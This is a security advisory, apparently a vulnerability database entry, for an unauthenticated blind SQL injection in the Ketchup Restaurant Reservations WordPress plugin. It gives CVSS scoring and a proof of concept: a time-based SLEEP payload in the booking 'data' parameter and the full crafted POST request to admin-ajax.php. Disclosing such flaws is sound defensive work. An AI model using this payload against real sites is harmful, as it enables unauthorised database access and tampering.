Ketchup Restaurant Reservations <= 1.0.0 - Unauthenticated Blind SQLi

2022-09-0600:00:00

Bastijn Ouwendijk

178

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

JSON

The plugin does not validate and escape some reservation parameters before using them in SQL statements, which could allow unauthenticated attackers to perform SQL Injection attacks

As unauthenticated, fill the reservation form (it's on a page where the [reservation_form] is embed), intercept the request and change the data parameter to something like ["5","11","11:11","13:11:00","2022-08-07","Name","Mail","2","phone","confirmed' AND (SELECT 7872 FROM (SELECT(SLEEP(5)))dkvk) AND 'X'='X"]

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 305
Connection: close

action=kechup_rr_bookings_interact&validation_key=680bed9c59&operation=create&data=%5b%225%22%2c%2211%22%2c%2211%3a11%22%2c%2213%3a11%3a00%22%2c%222022-08-07%22%2c%22Name%22%2c%22Mail%22%2c%222%22%2c%22phone%22%2c%22confirmed'%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(0)))dkvk)%20AND%20'X'%3d'X%22%5d